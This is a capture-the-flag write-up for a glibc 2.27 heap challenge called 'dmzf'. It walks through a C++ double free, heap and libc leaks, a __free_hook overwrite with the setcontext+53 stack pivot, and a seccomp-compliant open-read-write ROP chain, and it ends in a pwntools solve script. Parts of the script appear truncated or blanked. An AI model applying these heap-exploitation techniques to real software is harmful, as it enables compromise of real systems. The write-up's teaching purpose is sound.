The week before early admission deadline, perfect time to do a CTF and burn a weekend.


Libc version is 2.27, we get tcache without the security checks.

As usual, the first thing we do is run checksec.

[+] checksec for '/home/robert/writeups/binexp/meta20/dmzf/dmzf'
Canary                        : ✓
NX                            : ✓
PIE                           : ✓
Fortify                       : ✘
RelRO                         : Full

Canary, NX, PIE, Full RelRO - it’s a typical heap exploit challenge. The exploit path will probably involve getting a libc leak, and then overwriting one of the hooks - __malloc_hook or __free_hook.

There’s also seccomp which makes exploitation a bit more tricky.

$ seccomp-tools dump ./dmzf
 line  CODE  JT   JF      K
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012
 0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0011
 0007: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000025  if (A == alarm) goto 0011
 0009: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0011
 0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

Luckily, the open-read-write syscalls are allowed. We’ll probably need to pivot with setcontext to get a ROP chain.


The key vulnerability was a double free. Luckily we were given source, making this a lot easier to reverse.

void del_rule(string &cmd) {
	try {
		int idx = stoi(string(cmd, 4));
		if(idx < 0 || idx >= rules.size() || rules[idx] == nullptr) {
			cout << "ERROR: Invalid ID!" << endl;
		delete rules[idx];
		cout << "Rule " << idx << " deleted." << endl;

From here, this is a pretty standard 2.27 glibc heap challenge. The only difficult part is C++ heap messiness. For example, strings in c++ allocate an additional (variable?) size buffer. In order to get around this, you could free three chunks and then allocate another one which would put the string data buffer into the original string buffer. Then UAF to get a leak.

free(0) # arbitrary size, just bigger than string buffer


p.recvuntil("2: ")
leak = u64(p.recv(8)) # get heap leak

alloc((p64(leak + 0x950) + p64(0x20)).ljust(0x27, "B"))

show(1) # get libc leak

After getting a leak, a similar technique can be used to get an arbitrary write. From here, we have to deal with seccomp.

Overwriting setcontext+53 lets us use a powerful gadget, mov rsp,QWORD PTR [rdi+0xa0]. Note that on some (later?) glibc versions this gadget isn’t as powerful ($rdi is replaced with $rdx), where we’ll have to use FSOP.

$rdi is attacker controlled, being the argument to free if we overwrite free hook. Since it loads $rsp from an attacker controlled value, and we control the later bytes as well, we are able to set whatever we want into [rdi+0xa0] controlling $rsp.

One small additional note, this gadget is a bit messy because it includes a push rcx instruction.

   0x7fc490da0145 <setcontext+53>:      mov    rsp,QWORD PTR [rdi+0xa0]
   0x7fc490da014c <setcontext+60>:      mov    rbx,QWORD PTR [rdi+0x80]
   0x7fc490da0153 <setcontext+67>:      mov    rbp,QWORD PTR [rdi+0x78]
   0x7fc490da0157 <setcontext+71>:      mov    r12,QWORD PTR [rdi+0x48]
   0x7fc490da015b <setcontext+75>:      mov    r13,QWORD PTR [rdi+0x50]
   0x7fc490da015f <setcontext+79>:      mov    r14,QWORD PTR [rdi+0x58]
   0x7fc490da0163 <setcontext+83>:      mov    r15,QWORD PTR [rdi+0x60]
   0x7fc490da0167 <setcontext+87>:      mov    rcx,QWORD PTR [rdi+0xa8]
   0x7fc490da016e <setcontext+94>:      push   rcx
   0x7fc490da016f <setcontext+95>:      mov    rsi,QWORD PTR [rdi+0x70]
   0x7fc490da0173 <setcontext+99>:      mov    rdx,QWORD PTR [rdi+0x88]
   0x7fc490da017a <setcontext+106>:     mov    rcx,QWORD PTR [rdi+0x98]
   0x7fc490da0181 <setcontext+113>:     mov    r8,QWORD PTR [rdi+0x28]
   0x7fc490da0185 <setcontext+117>:     mov    r9,QWORD PTR [rdi+0x30]
   0x7fc490da0189 <setcontext+121>:     mov    rdi,QWORD PTR [rdi+0x68]
   0x7fc490da018d <setcontext+125>:     xor    eax,eax
   0x7fc490da018f <setcontext+127>:     ret

Luckily, $rcx is loaded from $rdi+0xa8 which is also attacker controlled. We simply “ret to ret”, or more verbosely return to a “ret” gadget, and then we’re back on our fake stack.

Due to string destructor, we don’t even have to manually free the object. Allocating a string is enough to pwn after we overwrite __free_hook.

  p64(lleak + libc.symbols["setcontext"] + 53)
  + "C" * 0x94 # "4" because of len("add ")
  + p64(leak + 0x562127af0fd0 - 0x562127af0370) # rsp
  + p64(prdi + 1) # prdi + 1 => ret
).ljust(0x300, "A"))

My full solve script can be found below, or as on GitHub.

from pwn import *

e = ELF("./dmzf")
libc = ELF("./")

context.binary = e.path

is_remote = "--remote" in sys.argv
def debug():
  if not is_remote:
    gdb.attach(p, "x/10gx  &_Z5rulesB5cxx11")

if is_remote:
  p = remote("", 5810)
  p = process(e.path, env={"LD_PRELOAD": libc.path + " ./ ./"})

def alloc(s):
  p.sendlineafter("> ", "add " + s)

def free(idx):
  p.sendlineafter("> ", "del " + str(idx))

def show(idx):
  p.sendlineafter("> ", "view " + str(idx))

alloc("A" * 0x37)
alloc("A" * 0x37)
alloc("A" * 0x37)
alloc("A" * 0x410)
alloc("A" * 0x410)




p.recvuntil("2: ")
leak = u64(p.recv(8))

alloc((p64(leak + 0x950) + p64(0x20)).ljust(0x27, "B"))


p.recvuntil("1: ")
lleak = u64(p.recv(8)) - 0x7f925eca0270 + 0x00007f925e8b4000 

alloc("A" * 0x300)
alloc("A" * 0x300)


alloc((p64(leak +  0x000056306d4c7fd0 - 0x56306d4c7370) + p64(0x20)).ljust(0x27, "B"))


  p64(lleak + libc.symbols["__free_hook"])

prdi = 0x000275e7 + lleak
prsi =  0x0016317c + lleak
prax =  0x00043b68 + lleak
prdx = 0x00001b9e + lleak
sys = 0x001402a7 + lleak
  p64(prax) + p64(2)
+ p64(prdi) + p64(leak + 0x562127af0fd0 - 0x562127af0370 + 0x200)
+ p64(prsi) + p64(0)
+ p64(prdx) + p64(0)
+ p64(sys)

+ p64(prax) + p64(0)
+ p64(prdi) + p64(3)
+ p64(prsi) + p64(leak)
+ p64(prdx) + p64(0x100)
+ p64(sys)

+ p64(prax) + p64(1)
+ p64(prdi) + p64(1)
+ p64(prsi) + p64(leak)
+ p64(prdx) + p64(0x100)
+ p64(sys)
+ p64(0x1336)
).ljust(0x200, "A")
+ "/dmzf/flag.txt\x00"
).ljust(0x300, "a"))

  p64(lleak + libc.symbols["setcontext"] + 53)
  + "C" * 0x94 + p64(leak + 0x562127af0fd0 - 0x562127af0370) + p64(prdi + 1)
).ljust(0x300, "A"))